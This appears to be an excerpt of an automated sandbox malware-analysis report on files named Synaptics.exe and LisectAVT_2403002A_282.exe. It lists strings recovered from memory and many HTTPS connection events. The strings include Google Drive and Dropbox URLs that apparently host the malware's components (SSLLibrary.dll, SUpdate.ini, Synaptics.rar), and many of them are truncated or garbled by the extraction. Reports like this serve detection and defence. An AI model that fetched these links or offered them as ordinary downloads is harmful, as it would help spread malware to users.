Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsLX1/
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsOGlE_
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadskto
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsolvin
Source: Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadstedC
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadstna
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt4=0$
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadted
Source: Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadting
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtj
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302288322.000000001CE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlen
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleniyor...
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlva
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtors=Q
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu&)2
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu4
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduO
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduX
Source: Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadubert
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadull-
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadull-x
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadulunx
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadunama
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadur
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvN80
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvn
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvt1.cAPi1
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvw
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwJ
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxO
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxd
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxu
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady=
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyK
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyo
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoRe
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor...
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..T
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..l
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..u
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadze-cn
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzq
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~M1
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~DFE4A043EED617E93E.TMP.5.dr, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/1(
Source: Synaptics.exe, 00000004.00000002.2303160950.000000001CE7A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2304649857.000000001CF69000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.0000000007327000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2304649857.000000001CF8E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.0000000007244000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.n.
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadur
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/s(
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl8
Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2252566386.0000000002020000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, ~DFE4A043EED617E93E.TMP.5.dr, ~$cache1.4.dr, RCXF23B.tmp.0.dr, Synaptics.exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
